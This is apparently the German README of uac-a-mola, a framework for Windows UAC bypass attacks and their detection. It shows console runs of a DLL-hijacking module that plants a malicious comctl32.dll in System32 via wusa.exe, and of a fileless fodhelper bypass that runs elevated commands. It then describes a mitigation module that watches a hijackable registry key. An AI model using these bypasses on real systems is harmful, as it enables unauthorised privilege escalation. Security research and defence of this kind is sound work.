
Modulares Framework für Windows-UAC-Bypass-Angriffe und -Absicherung, mit DLL-Hijacking, dateiloser Ausführung und Echtzeitüberwachung zur Erkennung und Blockierung von Privilegieneskalationsversuchen.
Um uac-a-mola zu installieren, müssen Sie die folgenden Schritte ausführen:
pip install -r requirements.txt
Uac-a-mola ist jetzt bereit! Sie können die Funktionalität durch Eingabe von testen:
cd uacamola
python uacamola.py
Dies ist ein kurzer Abschnitt, der die Verwendung einiger uac-a-mola-Module erklärt:
Die Verwendung der Angriffsmodule ist sehr einfach und bedarf kaum einer Erklärung. Sie müssen lediglich das entsprechende Modul im Framework mit dem Befehl load laden, die Optionen oder Eingabeparameter mit dem Befehl show anzeigen und mit dem Befehl run das Modul ausführen:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
Und ein weiteres Beispiel:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
Die Verwendung der Entschärfungsmethoden ist ebenfalls recht einfach, aber sie haben eine etwas komplexere interne Struktur, die in diesem Abschnitt erläutert wird. In Bezug auf die Verwendung muss zunächst das verfügbare Entschärfungsmodul geladen werden:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
In diesem Fall müssen wir ein Passwort festlegen, das die Agents für die Kommunikation mit dem Listener verwenden, der im uacamola-Framework ausgeführt wird. Die Agents finden wir im Pfad uacamola/support/agents. Wenn wir diese Dateien öffnen, sehen wir das Passwort:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola wird das für Authentifizierung und Kommunikation verwendete Passwort sein, aber wir können es ändern. Der andere erforderliche Parameter ist ein Pfad zu einer Datei, die eine Liste der zu überwachenden Binärdateien enthält. Diese Binärdateien müssen eine agent.pyw-Datei im Agents-Pfad haben.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
Wenn Sie diese Felder ausfüllen und den Befehl run ausführen, beginnt uacamola mit der Überwachung aller Aktivitäten im Zusammenhang mit UAC-Bypass bei den in der Liste enthaltenen Binärdateien. Wenn gefährliche Aktivitäten erkannt werden, wird der gefährliche Zweig (des Dateisystems oder der Registrierung) automatisch entfernt und die Binärdatei auf sichere Weise ausgeführt. Zum Beenden dieses Modus drücken Sie einfach die ENTER-Taste.
Bitte melden Sie Fehler an [email protected] oder eröffnen Sie einfach ein Issue auf GitHub. Ihre Mitarbeit wird geschätzt!
DIE SOFTWARE WIRD OHNE MÄNGELGEWÄHR BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERSRECHTSINHABER HAFTBAR FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNG, WEDER AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IN VERBINDUNG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN. WENN SIE EINEN BEITRAG ZU EINEM REPOSITORY LEISTEN, DAS EINEN LIZENZHINWEIS ENTHÄLT, LIZENZIEREN SIE IHREN BEITRAG UNTER DEN GLEICHEN BEDINGUNGEN UND SIE ERKLÄREN SICH DAMIT EINVERSTANDEN, DASS SIE DAS RECHT HABEN, IHREN BEITRAG UNTER DIESEN BEDINGUNGEN ZU LIZENZIEREN. WENN SIE EINE SEPARATE VEREINBARUNG ZUR LIZENZIERUNG IHRER BEITRÄGE UNTER ANDEREN BEDINGUNGEN HABEN, WIE Z.B. EINE CONTRIBUTOR LICENSE AGREEMENT, HAT DIESE VEREINBARUNG VORRANG.